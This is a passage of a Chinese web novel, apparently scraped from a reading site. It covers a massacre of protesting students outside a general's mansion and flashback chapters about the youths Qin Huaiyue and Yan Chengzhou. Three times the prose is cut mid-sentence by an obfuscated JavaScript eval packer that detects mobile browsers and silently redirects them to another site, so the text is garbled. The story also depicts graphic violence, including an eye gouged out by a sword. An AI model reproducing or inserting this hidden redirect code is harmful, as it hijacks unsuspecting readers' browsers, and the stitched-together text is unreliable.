他态度坚决,贺衍也不再强留,两人寒暄几句,便遣了朱管事,送他出门。 16. 一翦蘼芜(八) 夜色渐深,贺府的下人掌了灯,在前头领路。青纱灯笼左右摇曳,烛火幽微,暖黄的光晕在地上晃晃悠悠。 钻骨的痛一阵阵从腿上传来,晏澄洲一步一顿,步履沉重而缓慢。那掌灯的小厮憨头憨脑的,自顾自走得起劲,不一会便将晏澄洲甩出去好远。 他忽然觉得不太对劲,倏地一回头,便被结结实实地吓了一跳,忙不迭跑回晏澄洲跟前来。 朱管事剜了那呆货一眼,又生怕惹了晏澄洲的不悦,连忙殷切地问:“侯爷腿脚不便,可要找台肩舆抬着您回去?” 晏澄洲觉得好笑,摇头拒绝了。 行至正门,却听见府外一片人声嘈杂,朱管事心道不好,甫一开门,便见乌泱泱一大群太学生,围着将军府喋喋不休。 “贼子祸乱朝廷,残害忠良,简直天理不容!若先帝仍在,怎会纵容这一班奸贼葬送我大雍基业!” “乱臣贼子,大逆不道!” “苍天有眼,怎不降下几道天雷,劈了你们这些奸佞之辈!” 朱管家怒道:“你们活腻味了不成!这是将军府,岂容尔等撒野!” 晏澄洲沉声道:“这是怎么了?” 一个眼尖的太学生一眼便瞧见了他,厉声大骂道:“姓晏的貉奴!你一介南人,竟敢伙同着贺衍妒惑圣聪,包庇阉竖!如今又抓了顾先生,我等恨不得喝你血、啖你肉!” 晏澄洲心下了然,原来是来为顾云凌抱不平的。 他拂开朱管事上前,脸上换了副笑模样,声音清越地道:“诸位年轻气盛,偏听偏信也是人之常情。那顾云凌率众在宫门前闹事,若不稍加惩戒,陛下的天威何在!如今落得个锒铛入狱的下场,也是他罪有应得!廷尉秉官公正,定不会冤枉好人,诸位又何必大动肝火!” 那学生义愤填膺,指着他骂道:“你这厚颜无耻的狗辈!顾先生为祢家鸣不平,这才带领我们上书,禀明圣上!分明是你这贼子颠倒黑白!” 他竖起眉目,毫不畏惧地瞪着晏澄洲:“我等今日前来,便是要为顾先生、祢先生这些肱骨良臣讨一个公道!你若不肯放人,我等拼上这条性命,大不了鱼死网破,也要叫你这貉奴付出代价!!” 好一番正气凛然的说辞,文人骂起人来,口头上的气势倒是足得很。 晏澄洲睨着那初生牛犊般的学生,冷笑道:“好言相劝,诸位不肯听,那在下只好说些不中听的了。顾云凌业已定罪!尔等再敢聚众闹事,便与之同罪!” 一众太学生更加怒火中烧:“貉奴敢尔!天子脚下,还有没有王法!” 晏澄洲的眼神寒浸浸的,丝丝冒着凉气:“王法?诸位还是太年轻了,不如本侯来教教你们,什么叫做王法。” 话音刚落,将军府的大门砰地一声被撞开,无数身着甲胄的侍卫鱼贯而出,手中拿着明晃晃的刀剑,冷冽的寒光刺得人睁不开眼。 朱管家搬来的救兵来了。 霎那间,侍卫们手起刀落,不时有鲜血四下飞溅,人群中惨叫声不断,顷刻便乱作一团。 这些太学生素来饱读圣贤书,圣人牙慧装了一肚子,拳脚功夫却是一窍不通,哪里敌得过将军府训练有素的府卫,剑才出鞘,就被吓得痛哭出声,四处逃窜。 见晏澄洲动了真格,那个带头叫嚣的太学生也慌了神,“你、你住手!你怎敢、怎敢杀人……” 晏澄洲嗤笑:“本侯杀的人,都够填满护城河的了,今天死的这些,算得了什么?” 他长眉一挑,眼神轻飘飘地落在那学生身上:“拿下。” 两个侍卫飞身上前,将那学生擒住,押到晏澄洲跟前。 他愤怒地仰起头,破口大骂:“你这贼子,不如一刀了结了我!要杀要剐倒是痛快点!” 晏澄洲的语气讥诮:“杀你,岂不是脏了我的剑?” “不过,你还有那么几分合我的眼缘,不如去廷尉狱,让本侯好好款待一番,正好去给你的顾先生做个伴。放心,廷尉狱的刑具多得很,去见阎王之前,保管让你每一种都享受一回。” 那学生终于感到了一丝惧怕,身子抖如筛糠:“不、不要……” 晏澄洲笑,用剑尖挑起他的下巴,阴戾的眼神如同淬了毒,“不去廷尉狱,本侯便亲自教你,什么叫做王法。” 他剑锋一转,猛地刺入那学生的眼眶,轻轻一剜。 “啊啊啊!!” 那学生放声尖叫起来,那一刀竟生生剜下他的眼珠,剑尖一点一点往里钻,鲜血流了下来,染红了他的衣襟。 “住手!!” 晏澄洲猛地一颤,不可置信地回头—— 秦淮月又惊又怒,一双眼睛睁得溜圆,脸上写满了不可思议。 晏澄洲手中的剑哐当一声落在地上。 他当着她的面干了什么? 他手足无措,嘴唇哆嗦着,一时间话都说不利索:“你、你怎么来了?” 鲜血沿着他的指缝,淅淅沥沥地流了满地。 秦淮月紧紧盯着他拿剑的那只手,眼皮突突地跳,莫名有些目眩。 贾韫姗姗来迟,见了晏澄洲,立时跪地请罪:“侯、侯爷。” 晏澄洲勃然大怒:“贾韫!你是怎么看的人!她怎么到这儿来了?” 秦淮月冷冷打断他:“你不必迁怒贾将军,是我让他带我来找你的。” 她的目光四下逡巡着,闹事的太学生都已被将军府的侍卫拿下,捆作一团,捂着流血的伤口惨叫不止。 还有那个跪在他面前的人,他捂着一双眼睛,鲜血流得满脸都是,身子蜷缩成一团,痛苦地在地上打滚,阵阵哀嚎声仿佛要刺破人的耳膜。 这样惨绝人寰的场景,简直就像是,当年金吾卫屠晏府一般。 秦淮月不由得胆寒,胃里一阵痉挛。 她回过头来,颤抖着说:“原来,你就是这么帮贺衍做事的。” 晏澄洲攥紧了拳,不敢与她对视。方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337602|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才还不可一世的阎罗王,此时却通红着眸,像个做了错事的孩子。 她是那般干净的人,他最不愿意的,便是让她瞧见他面目丑恶的样子。 他在怕什么呢?怕秦淮月失望,怕秦淮月讨厌他,怕自己不再是她心中那个善良无暇的晏四郎君了? 她沉默了许久,终于开口道:“你停手吧,晏筠,你明明知道——” “你们这是在做什么?” 秦淮月皱起眉梢。将军府的大门訇然打开,玄衣皂靴的男子出现在门前,他面色惨白如纸,眉宇间隐隐透着病气,绷紧了一张脸,缓步迈下石阶。 朱管事抹了一把汗,躬身行礼道:“大将军,怎的把您老人家给惊动了?” 来人竟是贺衍。 晏澄洲蓦地一愣,只觉得浑身的血都凉透了。 贺衍负着手,低沉的声音透着威压:“靖远侯,怎么回事?你认识这女子?” 晏澄洲强自定神:“素不相识,也不知她从何处来……” 贺衍扫视了众学生一眼,眼神淡淡,讽道:“乳毛都未长齐的小子,不知天高地厚,也敢上我将军府来闹事。” “这些人,你处理了吧,是去廷尉狱走一遭,还是直接杀了,扔乱葬岗喂狼,你自己琢磨着办。” 他的目光越过晏澄洲,落在秦淮月身上:“至于这女子,来路不明,此时出现在在这里,只怕跟这群学生脱不了干系,一并处理了。” 秦淮月身子一颤,惊恐地看着晏澄洲。 “将军!”晏澄洲抢着开口,从袖中掏出一个白瓷瓶来,“臣近日得了一件稀罕物,便是这“鬼见愁”,此药毒性极强,服下去片刻便会七窍流血,五脏六腑溃烂而亡。将军素来有怜香惜玉之心,女流之辈,见了血总是不好看。还是让臣代为处置,试一试此药的功效。” 他给贾韫递了递眼色,贾韫会意,上前制住秦淮月。秦淮月动弹不得,眼中蓄满了泪水,看着晏澄洲一步一步朝她走近。 晏澄洲不给贺衍反应的机会,捏住秦淮月的下巴,强行将药给她灌了进去。 秦淮月惶恐地睁着双眼,捂着胸口拼命咳嗽,想把药咳出来,可眼皮却仿佛有千斤重,浑身的力气一瞬间被抽了出来,咚地一声瘫软在地上。 她这是要死了吗? 奇怪的是,她仿佛睡着了,又好像还残留着一丝知觉,迷迷糊糊地听见一阵脚步声向她走来。 秦淮月明白过来,他是在助她假死。 想到此处,秦淮月的心落下来一半,静静地等待他一步的动作。 可下一瞬,男人拿着剑,噗嗤一声,刺进了她的胸口。 血腥味漫进了肺腑,一阵撕裂的痛向她袭来,秦淮月痛得想尖叫,喉咙却像被割断了似的,怎么也叫不出声。 那把剑仿佛把她生生劈成了两段,她实在太痛了,仅有的一点意识也如同惨雾中的光一般,渐渐被黑暗吞噬。 世界终于陷入了沉寂。 17. 旧时淮月(一) 八月十五,金陵城。 此时正是仲秋时节。天色已近黄昏,不多时便起了风,吹得绿玉小筑内的一株桂树簌簌摇动,米粒儿大小的桂花纷纷而落,如同下金屑子一般。 秦淮月坐在桂树下的一方月牙桌前,手握一柄木槌,将陶盅内的桂花尽数捣碎。 桂花是昨日从树上新摘的,碾成碎末后,芳香四溢。 她用勺子将盅里的桂花舀到一个小陶罐里,一一压实了,才安心地将罐子的口给封上。 “杏儿”,秦淮月柔声轻唤。 她转身,向不远处庑房内的丫鬟招了招手。 杏儿正靠在墙角打瞌睡,听到秦淮月唤她,忙上前来,“娘子。” 秦淮月将盛着桂花的罐子递到她手里,吩咐道:“跟膳房的人打声招呼,让他们掺点儿蜂蜜,酿成糖桂花。” 杏儿接过罐子,应了声是,眨了眨眼睛道:“娘子,可要膳房再做一份昨日的豆花送来?” 秦淮月眉眼弯弯,在杏儿的脑袋上敲了一下,“聪明。” 杏儿揉着额头,稍稍抬起眼帘,指着秦淮月发顶的几粒金黄道,“娘子,桂子落您头上了。” 秦淮月晃了晃脑袋,将头上的桂花抖落,又伸手在头发上拂了几下,松了口气道:“这下可干净了。” 杏儿捧着陶罐,面露不解:“娘子,您要想吃甜口的,吩咐膳房的人做就是了,何必自己亲自动手?” 秦淮月笑道:“反正我闲着也是闲着,打发时间罢了。”又催促杏儿:“你快给膳房送去,待会儿公子要下学了。” 杏儿点头,拿着罐子小步跑了出去。 杏儿走后,秦淮月独自坐在桌前,收拾桌上剩余的桂花。 她穿着一身藕色的齐胸襦裙,外面罩着件豆绿的褙子,头上简单地戴着支白玉簪,额间尤有碎发,一双白净的手轻柔地动作着,耳间的芙蓉玉坠叮当作响。 几缕夕光从桂树的缝隙间漏下来,均匀地洒在秦淮月脸上,显得她温婉又静美。 月牙桌四周散落了满地的桂花,踩上去沙沙作响。 秦淮月用帕子将桌上的桂花拢起来,起身回了东边的侧屋。 绿玉小筑跟晏府的其它院子比,其实并不算大,可贵在精巧。两进的院子,四周以游廊相接,中间一道文石铺成的甬道,周遭种着翠竹,四季常青。 庭院的中央凿了一个荷塘,岸边雪浪石参差。塘内种着荷花,一道小巧的石拱桥横越其上,静极雅极。 绿玉小筑的正屋里住着晏家四公子晏澄洲。 晏家虽然历代为官,但直到这一辈的晏家大老爷晏守川发了迹,才算真正的光耀门楣。 当今圣上还是广陵王的时候,晏守川就跟在他身边,南征北战数十年,将南邺的疆界拓展到长江以北。圣上登基后,封晏守川为骠骑大将军,驻守荆州。 晏守川也不负皇帝重望,江陵一战七战七捷,歼敌八万,重创北雍铁骑,北雍元气大伤,至少十五年内再无力南伐。 晏守川的横空出世,让历来瞧不起南人的北雍又敬又畏,称其为“江东骐骏”。 圣上闻此战绩,不禁喟叹:“得金城千里,不如得一晏骠骑。” 晏守川在荆州一守便是十年,直到荆州形势稳固,才领着一家老小回了京城,在金吾衔司任上。圣上又将晏守川的弟弟晏守仁提拔进尚书台,令其任尚书左丞一职。 晏家一门两位老爷,一位从文辅弼君王,一位从武安邦定国,却养出了晏澄洲这样不折不扣的纨绔,朝廷上下皆为之扼腕,闻之叹息。 晏家这一脉子嗣稀薄,晏守川早些年戎马倥偬,同原配妻子生的大公子和三公子都相继病逝,直到四十多岁,姨娘张氏才给他生下一个小儿子晏安。 晏家二房也好不到哪里去。二老爷晏守仁同夫人卢氏生的二公子早早夭折,只剩下了晏澄洲一棵独苗。 晏澄洲自小体弱,风一吹就要倒。所幸他七岁时,晏守川从荆州卸任返京,晏守仁便让晏澄洲跟着伯父习武,本意是为了让他强身健体,哪知晏澄洲却从此迷上了舞枪弄棒。今日在青楼为了争花魁同人大打出手,明日在城内当街纵马闹得一干小摊小贩人仰马翻。 眼看唯一的儿子愈发无法无天,晏守仁急了,亲自拿着棍子逼晏澄洲进金陵的学馆。晏澄洲只当耳旁风,反倒更加变本加厉,成了金陵城内出了名的纨绔子弟。 等到晏澄洲年纪渐长,晏守仁和夫人给他张罗亲事时,和晏家门当户对的姑娘,个个敬而远之;好不容易把亲事定下,对方一听晏澄洲动不动就揍人,马上跟晏家退了亲。 眼看儿子到了十八岁还讨不着媳妇儿,卢夫人只好给他找了秦淮月做通房。 秦淮月自小养在晏澄洲的乳母秦氏身边。秦氏一家住在秦淮河畔,一日傍晚,秦氏去河边浣衣,忽然听见对岸芙蕖丛中传来一阵婴儿哭声,声音断断续续的。 秦氏忙跑过去,拨开层层叠叠的荷叶一瞧,只见一只小小的藤木篮子裹挟在碧叶间,里头躺着一个女婴,睁着乌黑的眼瞳,缩在襁褓里不住地啼哭。 秦氏心有不忍,又觉得兴许是缘分,便将女婴带回了晏府。 那晚,一轮明月映照在秦淮河中,月光晶莹皎洁,随着起伏的水波摇曳,秦氏灵光一闪,便给她取了秦淮月这个不雅不俗的名字。 晏府没有女孩儿,晏澄洲得了这么个漂亮的小妹妹,喜欢的不得了,成日跟在秦淮月身边妹妹长、妹妹短,读书带着她,舞剑也带着她,有了什么好吃好玩的,也要先拿来给秦淮月。 秦淮月十四岁时,卢夫人便将她送到绿玉小筑做了晏澄洲的房里人。 一来,两人从小一起长大,晏澄洲绝对不会反对;二来,秦淮月生得一副好容貌,杏眼桃腮,身姿纤细,袅娜如三月之柳;性子又乖巧温顺,不是个不安于室的。 晏家二老指望着晏澄洲收了房后,能安下来心好生读书。于是秦淮月的任务,便是不给晏澄洲惹麻烦,顺便阻止晏澄洲给他爹娘惹麻烦。 晏澄洲晓事后,顽劣的性子倒是收敛了些。但仍旧不肯好好读书。 近来,晏澄洲不知怎的突然开了窍,竟然主动要求去上金陵的学馆。 秦淮月进了屋,将雕花楹窗前的帘栊拉开,远远地便听见府外巷子内传来的梆子声。 她微微垂着眉眼。这个时辰,晏澄洲应该快要回来了。 正巧杏儿送了罐子回来,两人便出了绿玉小筑,去侧门接晏澄洲。 晏府外是一条宽阔的巷子,门前长着一棵高大的乌桕树,在铺着青砖的道上投下一片阴影。 主仆俩刚出了门,就听到远处马车车轮轱辘轱辘的声音,伴随着风摇树动的窸窣声,一齐向她们涌了过来。 马车在距晏府数十丈的地方停下,车上跳下个红衣少年。 少年一头乌发用金冠束起,五官宛如刀裁,一双星眸极亮,灿若明霞。俊美得让人不敢逼视。偏他眼角下方生了一颗小小的朱砂红痣,冲淡了三分锐气,显出少年人独特的天真和妩媚来。 秦淮月弯起眉眼,目光粘在他身上,便再也挪不开了。 杏儿惊喜道:“娘子,公子回来了!” 秦淮月抿着嘴笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347410|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 晏澄洲见了秦淮月,眼睛立马就亮了起来,兴奋地朝她招手:“月儿!小月儿!” 他脸上挂着粲然热烈的笑,眉眼弯弯,笑容鲜活,仿佛天生就活在光里。 他边喊,边向她跑过来,像一阵风似的,顷刻间便跑到了她的面前。 晏澄洲的小厮小六跟在他身后,喊道:“公子慢些,仔细摔着了。” 晏澄洲撇撇嘴:“知道,本公子又不是小孩子。” 说完,就要来拉秦淮月的手。 秦淮月轻轻地绕开他的手,不让他拉。 杏儿和小六还在呢。 晏澄洲偏不肯遂她的意,他脸上挂着肆意的笑,将她的手紧紧攥住,一路走还一路晃,生怕旁人瞧不见。 晏澄洲比她高了一个头,秦淮月才勉强到他的下巴。 二人并肩走着,一个张扬,一个娇美,走在一起却出奇的和谐。 秦淮月的手被他紧紧攥着,耳根不禁腾起热意,开始没话找话,“阿郎,你今日在学堂读了什么书?” 晏澄洲仔细想了想,打了个哈欠道:“睡了一天,不记得了。” 秦淮月一时语塞,不知道拿他怎么办才好。 她张了张口,本想再说一些劝他好好读书之类的话,又怕惹晏澄洲厌烦,最终还是把话咽了下去。 两人穿过紫藤周垂的月洞门,进了正屋。晏澄洲身边的大丫鬟瑞香见二人进来,忙吩咐人去准备巾帕、皂角、铜盆等物,伺候主子洗漱。 晏澄洲在铜盆里净了手,起身去屏风后更衣,秦淮月也跟着一道进去。 趁着晏澄洲更衣的空当,几个丫鬟捧着托盘,将膳房送来的各色果品、点心摆上了桌。鹅梨、瓯柑、葡萄、绵橙……全都盛在莲花纹白瓷盘内,看起来很是诱人。 晏澄洲换了一身衣裳出来,看着桌上满满当当的吃食,目光停留落在一盘荔枝上,好奇道:“这个时候还有荔枝?” 瑞香笑着说:“这是岭南来的荔枝,听说是连夜从水路坐着船运来的,都还新鲜着呢。” 那荔枝个头饱满,盛在透白的瓷盘内,圆滚滚、红艳艳的。 秦淮月悄悄咽了咽口水。 晏澄洲瞅了她一眼,立马从盘子里了挑一个出来,手脚麻利地剥了皮,然后喂到了秦淮月口中。 他这一系列动作如行云流水,以至于秦淮月都没反应过来,嘴里就被晏澄洲塞了个荔枝。 秦淮月又羞又恼,“晏筠!” 屋内众人皆掌不住笑,晏澄洲更是捂着肚子,笑得合不拢嘴。 一个小丫鬟酸溜溜地说:“公子待秦娘子可真好!” 晏澄洲眉一挑,用折扇指着那丫鬟道:“这丫头年岁几何了?你们赶紧给她找个相公去!省得在这里泛酸劲儿!” 下人们皆笑作一团。 瑞香脸色一黑,将脸偏了过去。 杏儿暗暗打量着瑞香的表情,撇了撇嘴角。 瑞香喜欢四公子,又是晏府的家生子,其母亲是卢夫人身边的嬷嬷柳氏。卢夫人却让秦娘子去了四公子房里,瑞香自然看不惯秦娘子。 众人正说笑着,膳房里的人便把秦淮月吩咐做的豆花端了进来。 一同送来的,还有一盘山药糕,做成五瓣梅的形状,上面点缀着些红豆,个头小巧玲珑。 膳房的人从不做这种形状的山药糕。 晏澄洲拧着眉,“这谁送来的?” 小六心道不好,战战兢兢地开口,“公子,是、是表姑娘……” 听到“表姑娘”三个字,秦淮月舀豆花的手一顿。 18. 旧时淮月(二) 晏澄洲黑了脸,斥道:“我不要!拿走!叫她再不许送!不然本公子直接给她扔出去!” 一连串话噼里啪啦地砸下来,他却连气都不喘一下。 小六连忙接了盘子出门,丫鬟们面面相觑,生怕惹晏澄洲生气,也陆续退了出去。 待人都走后,秦淮月叹了口气,柔声劝道:“阿郎若不想吃,倒了也好,何必送回去,拂了表姑娘的面子?” 晏澄洲乜了她一眼,用扇子敲了敲她的脑袋:“你当本公子傻?她怎么知道本公子是倒了,还是吃了?今天收了,她明天就能接着送。” 秦淮月嘟囔着:“可终归是亲戚……” 晏澄洲摇着折扇,神色慵懒,“亲戚又怎么了?本公子又不缺亲戚。我都要被她们烦死了!” 上月,卢夫人的妹妹卢氏死了丈夫,膝下又只有一个女儿,被家中叔伯吃了绝户。卢氏无处可去,只能带着女儿颜琬到金陵投奔姐姐。卢氏央着卢夫人给颜琬找门好亲事,自己将来也有个依靠。 卢夫人不好拒绝,只能安排两人暂时在晏府的绛云院住下,等颜琬的婚事定下来,再做打算。 卢氏便把主意打到了晏澄洲头上。 虽然晏澄洲纨绔的声名在外,但卢氏的丈夫不过区区八品小员,能跟晏家攀上亲,就已经是祖坟冒青烟了。颜琬的身份摆在那里,肯定不能做正头夫人,做个妾倒也勉强合适。日后,等到晏澄洲的正妻过门,卢夫人是颜琬的亲姨母,怎么也得帮衬着颜琬一二。 卢氏把这打算给卢夫人说了,卢夫人却很为难。 自己儿子什么德行,卢夫人比谁都清楚。晏澄洲是个炮仗脾气,一点就着,若要强行往他房里塞个姑娘,那不得闹翻了天去。 卢夫人不好一口回绝,将卢氏母女请出府,于是两人就这么在晏府里住下了。 这可苦了晏澄洲。颜琬得了卢氏的授意,隔三岔五地就向他示好,不是送亲手做的点心,就是送亲手缝的荷包,要么就是在花园假装偶遇,有意无意地往他身上挨。 还有他那位姨母,不是拐弯抹角地暗示他和颜琬多么多么相配,就是同他母亲一样,拿着圣人的牙慧来教训他,让他好好读书。 晏澄洲烦不胜烦。 他找卢夫人诉苦,卢夫人就耐心地给他讲道理,说他表妹年纪轻轻就没了父亲,卢氏守了寡,如何如何可怜云云。 晏澄洲听得头大,可就算他再混,也不能昧着良心把卢氏和颜琬孤儿寡母赶出晏府去。 母女俩成天在他眼前晃悠,让晏澄洲避无可避。 不过他找了个冠冕堂皇的好理由。 读书! 她们不是都指望着他读书上进吗?那他就去读书! 晏澄洲一反常态,主动要去学馆,卢夫人又是奇怪,又是欣慰。还以为儿子终于懂事了,知道要学好,哪里晓得他是为了躲着卢氏和颜琬,这一躲,居然躲到了学堂里。 秦淮月舔了舔唇,循循道:“表小姐一个姑娘家,脸皮薄,阿郎还是得顾及一下人家的面子。” 晏澄洲啪地一声将手中折扇甩开,轻轻扇了几下,挑眉道:“你家郎君什么时候给过旁人面子了?” 他眼角眉梢俱是浑然天成的骄矜与轻狂,气质凌厉,宛如一柄上好的名剑。 晏澄洲从小被家人娇惯着长大,他喜欢就是喜欢,讨厌就是讨厌,行事何须看别人的脸色。 晏澄洲安慰秦淮月:“没事儿,再过半个月,祖母就该回来了。祖母最疼我了,到时候有她老人家给我们撑腰!月儿你不用发愁。” 晏老夫人信佛,每年都要去城内的清凉寺礼佛,一去就是十天半月,算算日子,也该回来了。 秦淮月哦了一声。 晏老太君一向偏爱晏澄洲这个长孙,他若有什么事,求到老夫人跟前,总不会错。 小六的声音从门外响起:“公子,夫人叫您和秦娘子去前厅用晚膳。” 晏澄洲额角突突地跳,问:“那母女俩是不是也在?” 小六挠了挠头,“这个,我就不知道了。” 一想到今晚又要听卢氏同母亲打哑谜似地撮合他和颜琬,晏澄洲就浑身难受。 他噌地起身,一把将秦淮月从杌凳上拉了起来,推着她飞快地往门外跑去,嚷道:“月儿,我们走,快走!” 秦淮月怔愣了一会儿,“阿郎,我们要去哪儿?” “去哪儿都成!”晏澄洲嘟囔着,“反正我不想在府里呆了!” 小六跟在两人身后,高声喊道:“公子,躲得了一时,躲不了一世啊!” 晏澄洲气急败坏:“闭嘴!你生怕别人不知道本公子出府了吗?” 小六追了上来,跟块牛皮糖似的抓着晏澄洲的胳膊不放,嬉皮笑脸地道:“公子带上我,我就不喊了。” 晏澄洲不耐烦地说:“带上你带上你”,又警告小六道:“不许走漏出去半个字,不然咱们都得倒霉!” 小六点头如啄米,“保证守口如瓶!” 一路上,晏澄洲都把秦淮月抓得紧紧的,任她怎么推脱都不肯放开她。 秦淮月欲哭无泪,出府就出府,为什么要带上她啊? 三人绕到绿玉小筑的后院,找了个没人的角落,直接翻墙出了府。 待落了地,小六揉了揉空瘪的肚子:“公子,我好饿啊!” 晏澄洲说:“咱们走水道,坐船去秦淮河,城南有间庆丰楼,他们家的蟹壳烧饼和素三丝可是金陵一绝。” 晏澄洲带着二人从码头上了船。摆渡的老翁撑着一支竹篙,驾着船悠悠往城南驶去。 河面弯曲萦纡,绿水逶迤铺开,两岸生长着一丛丛芦花,如烟似雪;水鸟栖息其间,不时发出一两声悠长的啼鸣。 船行至中途,天上便下起了廉纤细雨,万千银丝落入水中,溅起一圈一圈的涟漪。声音淅淅沥沥的,听得秦淮月昏昏欲睡。 不知过了多久,她被一阵嘈杂的声音惊醒,船靠岸了。 秦淮河畔是金陵最为繁华之处。粉墙黛瓦的妆楼、酒肆临水而建,屋檐下都悬着精致的红纱灯笼。河面被载着各色竹篓竹筐的小船挤得满满当当,叫卖声、谈笑声此起彼伏;两岸也挤满了观看踏索、吞剑、傀儡戏的行人,热闹极了。 三人下了船,晏澄洲牵着秦淮月,轻车熟路地钻进一条巷子,七弯八拐,竟又拐回了岸边。 不似刚才下船处的沸反盈天,这一带要僻静的多。巷子出口处是一座拱桥,过了桥,对岸便是庆丰酒楼。 晏澄洲是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352269|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里的常客,店前的伙计显然认识他,上前唱了个喏:“公子,您来得不巧,今天楼里的位子都满了,不过,外间的水榭还有座,风景也雅致,您看可要小的给您安排安排?” 晏澄洲转头问秦淮月:“可要换个地方?” 秦淮月摆摆手,“不必了,就这儿吧。”坐了这么久的船,她肚子也饿了。 晏澄洲对那伙计道:“还不赶快带路!” 伙计连忙应是,带着三人进了店。 庆丰楼的水榭临河而建,四周悬挂着精致的水晶帘,铺着秋香色忍冬纹毛毡地毯,靠水的栏楯边,摆放着各式各样点缀青苔的小盆景,装饰得极其雅致。 三人在水榭的小案前坐定,小二麻利地上菜上酒。晏澄洲兴致勃勃地给小六和秦淮月介绍菜品:“这是蟹粉狮子头,这是松鼠桂鱼,那碗五颜六色的,是五色糕……” 小六早就饿了,还没等他讲完,就开始动筷子。 晏澄洲懒得跟他计较,只专心给秦淮月夹菜,没一会儿,秦淮月面前就堆成了一座小山。 秦淮月蹙起秀气的眉,道:“公子,你别只顾着给我夹,自己也用点。” 晏澄洲弯了弯唇,朗声道:“没事儿!你家公子不饿。” 又转身吩咐店小二,“去把你们这儿最好的酒给本公子拿两壶来!” 少顷,酒便送来了,一齐来的还有个穿藕荷色纱裙,抱着琵琶的姑娘。 琵琶姑娘含羞带怯,朝晏澄洲欠了欠身子,声音软糯:“公子想听什么曲子?” 晏澄洲瞪了店小二一眼:“我可没说要听曲。” 当着秦淮月的面听小曲,他脑袋不想要了? 店小二笑眯眯地道:“公子,这位是姑苏来的乐娘,最擅姑苏小调,可要请她为公子弹上几曲?” 晏澄洲本想开口赶人,秦淮月却道:“就让这位姑娘弹吧。” 琵琶姑娘向秦淮月投来感激的一眼,在一旁的蒲团上坐下。 晏澄洲收回视线,又继续饮酒。 水榭外的河岸边,开着大片大片的荷花,刚下过一场雨,荷叶间积了不少水,晶莹的水珠沿着荷叶滴落,将水面敲出一道道涟漪,惊得水中游憩的锦鲤四散逃开。 秦淮月最喜欢荷花,一边吃着碗里的饭食,一边扭头欣赏水边的朱荷。 琵琶姑娘吴侬软语地唱着,软糯的嗓音让人心神荡漾。晏澄洲一杯接一杯地喝,本就有些醉醺醺的,又听着这情意缠绵的曲子,竟有些飘飘欲仙。 晏澄洲一向酒品不好,秦淮月担心他喝多了发酒疯,伸手想去夺晏澄洲的酒杯,“阿郎,你别喝了。” 晏澄洲脸色酡红,笑嘻嘻地挥开她的手,指着岸边摇摇摆摆的荷花,“月儿,你看,那花好不好看?” 他自顾自地站了起来,脚步虚浮,“我、我去给你摘一朵上来……” 说罢,便踉跄着向临河的栏楯扑去。 秦淮月急了,想上去拉他:“晏筠!你给我——” “回来”二字还卡在喉咙里,晏澄洲就被水榭的栏杆绊了一下,身子晃了几晃,扑通一声,整个人栽进了水里! 身后传来琵琶姑娘的一声尖叫。秦淮月心中咯噔了一下,想也没想,毫不犹豫地跟着他跳了下去! 19. 旧时淮月(三) 如镜般的水面被接二连三地撞破,可怜的荷花被二人撞得东倒西歪,生生折断了好几根。 河水漫了上来,冰冷刺骨,窒息感把秦淮月抛之脑后的理智生生拽了回来。 她好像,不会水啊!! 秦淮月脑子一片空白,手足无措地在水中挥舞了几下,身子却不住地下沉。 眼看着河水就要漫过她的头顶,秦淮月张嘴想要喊人,却不小心呛进了一大口水。 河水灌进肺腑,挤压着她的胸腔、鼻腔。 喉咙仿佛被一只无形的手掐住,喘不过气。 晏澄洲就在她的不远处,一袭红衣在水中漂浮,就像拢着一层红色的血雾,他仿佛睡着了似的,也不挣扎,双眼紧闭,嘴里咕噜噜地冒出一串气泡。 秦淮月又呛了几口水,一股绝望的情绪涌上心头。 再不自救,她和晏澄洲的小命就得交代在这儿了。 秦淮月不知哪来的力气,胡乱地用手划着水,奋力向晏澄洲游去,一把抓住他的胳膊,拖着他艰难地游向岸边。 小六解了手回来,发现水榭外粼粼的秦淮河中,一池荷花正剧烈地摇动。 他正觉奇怪,忽然瞪大了眼睛——一红一青两道身影从那荷叶底下探出头来,正是秦淮月和晏澄洲! 小六脱了外衣,冲着一旁吓傻了的琵琶姑娘吼道:“愣在这里干什么!还不快去叫人!” 琵琶姑娘如梦初醒,搁下琵琶,慌慌张张地向楼里跑去。 小六吼完,眼疾手快地从栏楯上翻了下去,纵身跃入水中。 秦淮月本就不会水,拖着晏澄洲游了一段,已是筋疲力尽,见小六来了,一颗悬着的心总算放了下来。 小六咬牙道:“秦娘子,得罪了。”他抓着秦淮月的手腕,拖着两人向岸边游去。 